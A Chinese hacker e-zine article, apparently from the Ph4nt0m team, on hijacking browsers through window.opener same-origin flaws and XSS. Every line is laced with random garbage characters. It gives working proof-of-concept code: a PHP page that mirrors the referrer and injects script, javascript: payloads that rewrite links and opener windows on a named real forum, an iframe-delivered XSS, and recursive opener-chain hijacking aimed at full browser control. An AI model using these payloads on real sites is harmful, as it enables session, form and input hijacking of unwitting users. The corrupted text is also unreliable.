==Ph4nt0m Security Team==0 b& f; S. f+ k
; t: [* \7 K) n Issue 0x03, Phile #0x05 of 0x07# A$ ~# y' j% X. L$ D, \
8 @$ W$ m5 L$ u9 b, Q! v9 [" o9 e
9 Y8 i+ a9 E7 }( [7 U( y x|=---------------------------------------------------------------------------=|, _5 Y$ i) \6 p8 S% _; H- d' t
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
) _3 k0 U/ I8 z# z$ z2 ~4 @|=---------------------------------------------------------------------------=|
+ O+ f+ X% T5 L9 [|=---------------------------------------------------------------------------=|
. q3 S: A; y: ~% B6 M|=------------------------=[ By rayh4c ]=---------------------------=|3 T7 _' A# R5 S/ [( _9 n
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|- M- X6 t2 C1 I# l7 H9 d' V/ q
|=---------------------------------------------------------------------------=|
, L+ Z' Q" j1 k& F* P) U/ h- g0 c Y- {% A$ ~5 u9 i
4 G4 v+ l y' W8 {
[目录]; \% \6 a9 {9 Q: ^ Z) O! ]2 d
/ M7 b' t/ o9 i; d# A/ V
1. 前言1 W) ^" U1 o: R% [' \
2. 同源策略简叙
9 B0 c; R) g2 J! o- y3. 理解window对象的同源策略& i# ] u0 j" W$ Y' ^
4. 窗口引用功能中的同源策略漏洞& P( [* V& }5 u3 U5 M; U( R# }/ h+ s
4.1 父窗口引用子窗口的同源策略问题1 D% ]2 ^( Z0 {% z
4.2 子窗口引用父窗口的同源策略问题* w8 ]1 C$ N7 {$ x4 p% Q& g( E
5. 利用窗口引用漏洞劫持浏览器/ Y( [8 ^/ ~2 `! g
6. 利用XSS漏洞劫持浏览器
0 j+ \5 u6 s. P 6.1 正向跨窗口劫持
% N9 i r1 L8 t 6.2 反向跨窗口劫持
7 [/ [4 Z; j. U0 K3 F! e: ]8 y' Y 6.3 极度危险的跨框架窗口引用劫持
' ^; J& I6 b% ?! C4 h' r( X 6.4 极度危险的正反向跨窗口递归劫持) Q* h! ]( m0 U }2 O% l) w4 E, {1 Z
6.5 完全控制浏览器
: S, ^( j* b, D! \7. 后记
0 b2 O7 j0 l Z' e8. 参考" P4 r1 A# \1 x( _
, K/ {. k2 m1 }7 M" E' b0 Y
t* n1 m% J2 A6 ]5 o* O4 n
一、前言
+ ^5 }; g2 k6 d. ?
6 v) ?0 q/ n3 l7 q4 ^ 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
. j* e: ]& k) E& ] e4 v- m友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
4 ^! k' _ \8 p7 Y! G8 I劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被3 W' F0 m1 t2 ~' J; d X% s
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。8 Y" C7 f& t- K! v# r' _
9 _' a! \+ E# `4 I% c
) L0 C$ g" O6 F) l& W二、同源策略简叙; p; A* Z) W- U' `0 }9 Q) a
4 H6 V" X# i* ^ 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以) t# |- ?9 T- Z
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
: \; W3 I$ w+ A$ U% v9 k4 b曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木; L I4 x& S& I0 }: {+ Q, ~
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个, N. Q: p' |, W8 d* M
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。4 `' C! W. T4 }6 t8 k
# s& f9 K; m N) P
+ H8 T# w. M2 ] H5 C0 }三、理解window对象的同源策略( ~0 S1 h* U5 S6 w
T3 o* w' U8 V4 ^9 q, H) [: |) I
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
: B J! n, t; w' i1 P象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:# m' J3 V8 s. `" `2 c( _0 W8 |. t
$ l- z+ U p: T9 x1 `6 f. Y/ m" U
--code-------------------------------------------------------------------------7 ^8 X7 g7 ~3 T3 d
<script language="javascript">
?& p$ S# D, P6 efor(p in window) document.write(p+"<br>");8 B% N8 ~ @5 r
</script>! h& [8 N/ a1 ^3 |' d: C
-------------------------------------------------------------------------------
5 {5 J2 `6 k( w3 e% E. \/ B4 V5 a) z1 Z- p
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
( o: X9 |' [" K法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,' c$ v7 U) u4 `) y) x6 F' z
这些属性和方法就必须遵循同源策略。
2 L: ]% k/ p) [& P. \2 K- m9 r& v( p
) u( T! N, f+ R) X+ R" \5 S) A- \ 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那; ?6 d7 g+ ?8 i% V" {
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
) F. q1 ^2 X0 M9 \% U6 B) w的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
# H5 \$ ]0 O, Q. R个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的, _+ P# r7 q y. V+ U# b
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location# Y& A4 T/ G( {3 a
属性并没有被拒绝访问。" m1 _% h8 S B9 u! L
5 x) m. K$ ] k% b--demo.html--------------------------------------------------------------------
" p, g% Y- ?( c2 I2 m' s4 r9 p<script language="javascript"> 6 k6 B- A( \8 G8 w% c% Z# d
function allPrpos(obj) { 5 y' ?" m# e+ \2 g* \/ \; k
var props = "<table><tr><td>名称</td><td>值</td>";
! D& t6 T1 V& V1 V# m- m for(var p in obj){ + t' p& `4 j) [/ W, P& z) a% [) @
if(typeof(obj[p])=="function"){
5 N: ]" g4 h4 l1 K obj[p]();
* E0 I O+ r# D8 X" t/ A2 j }else{
; }+ s2 R" u8 `9 U2 x6 B try |1 D+ o5 \4 r+ l
{
: O( `/ P5 L, j b props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
* w" j8 J2 Z' I Q5 ]. x }
0 V% l2 g" f# h catch (ex) ' x J7 g- V9 D& a8 q
{ * [ \' G/ O' y1 }8 t
" V+ O2 ?" K! v L H ]2 b
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
) e/ ?( o% A9 r1 f; r: P }
/ [4 l9 w5 I. W w) c [
/ m6 \1 ^! Q/ Y$ [6 M } , B, Z- \% r" v& p6 a4 h) L
}
/ R+ g, W: W6 \' l4 W/ n 9 P/ D/ H6 ?: B- ?3 o0 c$ {0 Q
document.write(props+"</table>"); 8 `; R+ |- Q" k
}
/ j+ g7 u& d* W6 P- R6 d' c$ A
# G& B) b! a5 P+ efunction createWin() {3 K, I$ @7 e$ R" G# C% L; J) G
newWin = window.open ("http://www.google.com"); % H3 }/ \/ R# u3 {5 r- g/ ^" z
setTimeout(function(){allPrpos(newWin)},2000);
& @( f$ N& H7 [5 e} & K0 {% D' A: `5 r
) b: _1 ~" W0 a+ Y- ~
</script> / h. Q* C f @4 z5 ]9 \
) M2 K% \/ [2 T- ?9 Q
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
: e& j. U9 N1 v5 R-------------------------------------------------------------------------------# i. O( \3 p; c5 J( C' L2 ^4 r$ N
Z7 B" s0 Y* Z7 ]! y- \8 ]
; I$ s( E! Z7 m# a' l7 Y' l四、窗口引用功能中的同源策略漏洞, e1 [5 b/ F" R$ |( }: O" t
# Y O7 P* a0 N7 N/ J) i
4.1 父窗口引用子窗口的同源策略问题! X6 @" U# P: [' ]/ V
, C9 q4 V' w9 A4 r( A
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,2 J8 O, P/ g/ d& g
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
5 Z+ G+ \/ J# ? m6 f7 x g+ Z& ~1 z! Y浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
* O I* U& l# j/ ~" m. d9 N* s行测试,会发现父窗口可以控制非同源子窗口location属性值。
+ J' ~ E- E5 e+ `( ^- r
, N) R& l6 U9 H--vul1.html--------------------------------------------------------------------& Z/ `, c" D$ t
<script language="javascript"> , Q# f9 C8 [) ^8 N
function createWin() { $ l* k& q% ?& S. m* G) g
newWin = window.open ("http://www.google.com");
+ A; K1 s6 A: h, a3 l; R" V& k setTimeout(function(){newWin.location="http://www.80sec.com"},2000); ; j/ p; \% l+ R% Y. {- M' x; J
} 3 \7 T2 x' B& F$ G% ^5 R, X/ Q8 J4 G
</script>' ^2 L9 Y; J0 v5 e: l B1 T
5 B9 t+ `, g- x7 {<button onclick='createWin()'>创建一个非同源子窗口测试</button>1 Z# p5 f( k. }
-------------------------------------------------------------------------------
, [8 z% @( L9 a3 H, _4 a- e5 ~2 f5 i( u( h
2 l/ D" M- V- E% v
4.2 子窗口引用父窗口的同源策略问题
A1 ]2 Y+ T9 i `+ w
2 [8 A9 E$ u9 q' f, t9 t5 r* x 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
& Y* E0 s4 a% Z* h5 h" Y* r; p用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
4 x, B* j4 t, i/ v% n% q- w- r: A可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
- p/ p, S; H' f) f# R: z" x会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
- w! b! T. F' h1 W6 y9 y5 w$ X" _. U0 M
--code-------------------------------------------------------------------------
1 n& G$ f4 Z% a V0 Z, Z: B( t' L1 o$ ^" i9 P3 K0 b1 S
javascript:window.opener.location = "http://www.80sec.com";void(0);
* H9 [4 f: p6 j5 W7 c! p/ l8 y f: j- x; o
-------------------------------------------------------------------------------' U: n1 R/ h" a) k: z& B
$ W; s6 j9 r/ t, I/ C8 h, h5 H
) e7 F4 J3 @# }/ [, I
五、利用窗口引用漏洞劫持浏览器
5 |3 k" e9 _$ c! b7 w) c
$ Y1 u% }0 @2 R. _ 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子( ~. Z9 k7 M% f, \8 U/ ?
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那7 x% q# T& ]- o$ e# o
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。! {# z- j* Q e) |. y9 \+ V" _* s$ o
' a5 j* O, W5 f3 q: |; Y( V4 G3 l
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产$ c! e- m: u q u7 p8 F
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
& j9 B8 p8 u3 y: R6 k者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
- V, D7 }) s [$ s: K; M后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
# O" y' Q8 F+ Y9 p% I$ C# i会产生什么可怕的后果。, W8 F* j9 v( F4 w8 }, F
/ `1 ~. G* E2 a! M& g 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
l, \& _+ T& t6 d& o们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php& \6 f9 J8 m5 \* T+ |5 ?
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时! M+ ^ h4 X5 u- t
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可4 B' i3 D% f# `6 L; B( |& y
以做更多的事情,所有的一切仅仅是因为点击了一个链接。, f4 k! R$ t* W: [: u
2 u5 q- z& J: B( i2 ?4 w' s" J, B--hjk_ref.php------------------------------------------------------------------
% ~( x2 f( u e0 D' G* N8 h9 ]<?php6 ^& y) k' W" z( \* t+ h
if (array_key_exists("HTTP_REFERER", $_SERVER)) {" H1 `4 A) I, v+ g
$Url_Mirror = $_SERVER["HTTP_REFERER"];
0 w- E L$ @) k b}
0 ~3 M0 m D9 [, P. Aif(isset ($_GET['ref'])) {
5 b0 G( C+ F) V# L7 e7 Y( ?$ u. eecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
8 | q' U; S7 k% Q9 Q' ^3 D}8 [ D# e" t2 i
?>! \+ |8 C- V5 a+ H
, T$ Z+ d' J4 R$ c, P' t6 M$ j<script language="javascript">
" E1 V/ K6 L# |% T6 ssetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); & \8 A* |* P; b5 k* p$ J, e" M
</script>8 T. Z4 T6 V+ B* X3 n$ q5 q% K+ U
-------------------------------------------------------------------------------) g! M& v) f+ J( K, g" I. J( z
- f0 @; f5 ~, C
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
3 l0 e# |0 J$ r {4 j, a6 f
4 K' v+ D4 I7 K7 \9 ?# U3 {: P& _2 W' L9 u, V* K- k; C
六、利用XSS漏洞劫持浏览器, }8 ^( y. M9 _6 {
# v* E! v% b% T* g% | n 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
: o9 |, O) r+ z$ z持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
3 `* s4 `, p7 EXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起+ q# }5 _$ c% r, k9 r
讨论跨站师的终极技巧:
# t) X' Q, S- i
( j( B. \9 n( | X y
- R2 y9 ^! B& i5 L6.1 正向跨窗口劫持
/ ~7 ?) Z% R' b$ M; ]' Y; Y, N6 l6 k5 w8 y, [6 M. B
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛/ J% b$ v4 u# b# b7 ^# m8 }
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
5 @6 [! ^. `( F8 F+ q, o接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
3 b- p( S1 S: |. n框脚本。
! m/ v; B) h. u1 ^
& c2 V( O( ^1 z# z. N5 b U! `--hijack_open.js---------------------------------------------------------------4 F U3 j& N$ V/ d
/ i, j4 K7 ^4 X) F4 N2 a0 R" P( w- b
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);* D; S0 T4 h& @7 F
6 [$ c! @: G: `& E7 [6 A0 }-------------------------------------------------------------------------------( R$ G! @" A5 h+ K
" ^/ N+ k, K( V: D
# b \; h2 X! ~0 m/ R+ M9 z: Z1 f
6.2 反向跨窗口劫持
; y. M5 t( _6 D$ l- j8 I" ?' x( `, J1 c- Q/ h# K3 M
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
" J7 B' c. y7 Y" g1 q; k码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话" y9 z# ~/ O7 H* {4 G
框脚本。* O" Q _7 t/ \" m
& s0 T0 [( o& n7 R: B; u--hijack_opener.js-------------------------------------------------------------
" W/ m* f9 {( d. P, b9 G5 D4 ~& i# Q; Q Y
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);5 ~' g3 z2 t- y, M( H
0 |6 [5 Z; S7 l# h Z- O-------------------------------------------------------------------------------* C* d) C- ~" {! s
0 e% m; x: c" S7 h
) ?3 ~/ |5 C+ G4 g. a! o' |% l$ @/ `6.3 极度危险的跨框架窗口引用劫持
% E: [9 p& w* V& p s
" c3 L V+ [/ e. v7 ]6 h) G7 H 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞# B! R) d# n2 k
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
% _ D& u" I8 n2 u, i适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
3 }3 }' U0 t- P% X% e非持久型的XSS,如下:! i% h: Z" E0 O+ s- L
2 P7 O) J8 X+ ?9 I* n- s
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>4 [& d: k e$ \# z/ ^( _
3 _4 p3 I: r1 W% Q
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口4 x. }& U9 h, a9 z& X
注入脚本。) {7 d( g) s3 O% N* e
( ~+ n! a1 d0 Z: F! G- \) I
--hijack_frame_opener.js-------------------------------------------------------- d% Q! v0 ?6 ? n* `% i8 c4 v; d
<script>2 v$ u+ T; c9 l: X' I
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";9 b ^5 h( A; s4 p
</script>3 V% I$ ?3 t7 y9 T) s+ `
-------------------------------------------------------------------------------
# r4 {4 T, K6 W% Z! q0 F2 e5 X$ Q2 ?& |- }9 g6 `5 n5 j
/ l( {0 ?( {$ b/ l Z3 t" K+ L6.4 极度危险的正反向跨窗口递归劫持
@) R$ [3 `: C5 @1 g( G$ w( c( ?+ ~9 F" H7 S' C. d$ t, x
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
% a6 L2 P0 u8 U6 T, i的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过: d4 ]" ]6 E( ]+ I6 b
异常处理规避之间跨域页面的访问异常,代码如下:
* U: ~" f* C4 r$ e! W' O3 Z7 F4 |4 e H K( W
--code-------------------------------------------------------------------------
/ }# q* n% r9 ~9 I+ F+ N, k' u+ Z3 C3 k: a6 h. Z) t! D0 |
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);& Y8 }! k6 T3 ?4 u3 z! }
9 N5 ]7 G+ i# }4 U$ _
-------------------------------------------------------------------------------' K' z8 e9 z' y4 m" N3 F) T1 m$ R
/ D7 t! P1 k# F. M6 n
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可: P/ R) A2 N' x/ z D- J; x% E
以劫持B域之前的A域页面,从而实现“隔空打击”。
" L2 O0 D# V1 P( I8 m( W& x0 U7 x! O8 W0 @. h4 W) P3 I
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面+ Y% v6 x" b0 l7 Z
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
# Y- ^$ Z- t1 t6 @8 f
* `& F: }3 @7 ]6 I) } 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
! N& ]" U2 I# ]% d5 @; ^0 W; d
* O$ l. s+ ]9 e
# n# I2 i3 r' e: E1 _5 \0 e6.5 完全控制浏览器
$ C$ w% W, ~: i1 n
8 N% d" o$ |9 q* E/ J% x% K 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
% k! ?5 d% C- f9 n8 e是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
+ H' A# G [! l& f: m漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失3 G3 R Y! T" H
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
3 ~6 y; Q e4 z, Q* k列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站# g3 A% P& p# Y
师的终极目标 - 完全控制浏览器。
/ g8 `! e- p( w$ c
* o1 C6 @; Q2 {% C6 H5 o, q9 G* O6 d
! J: K7 V( H3 K0 P. n七、后记0 x: U# C2 u( S2 c* P5 ^- d/ g
7 R& g/ {" J& q. L" A
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全4 |* w+ q0 N# q! K; j9 ^
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予, t' l4 P8 A- |, U
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
; I- Q% P. @0 ^7 }3 a& N$ @' @5 O8 L
; s- }$ L4 v8 X: z+ C
八、参考0 R; G# }" q, ?6 y; n
& m4 ]4 a0 e" j4 L' f2 R5 B% f# b0 i) i
1. http://en.wikipedia.org/wiki/Same_origin_policy. u s b5 ? Z P! J1 M" h
2. http://code.google.com/p/browser ... licy_for_DOM_access* o2 S. H( M& w2 J$ p d
3. http://www.w3.org/TR/Window/: N+ n8 e9 v! N6 f
4. http://www.80sec.com/release/browser-hijacking.txt5 z0 @+ I* M1 h# K/ o' [4 U
5. http://www.80sec.com/all-browser-security-alert.html
% a( U3 H) L# B6. http://www.80sec.com/ms08-058-attacks-google.html
6 B1 |! P3 h) b8 X7 ?6 j8 f' I+ q/ ~1 R5 M( |- _! b) t, o6 c
-EOF- |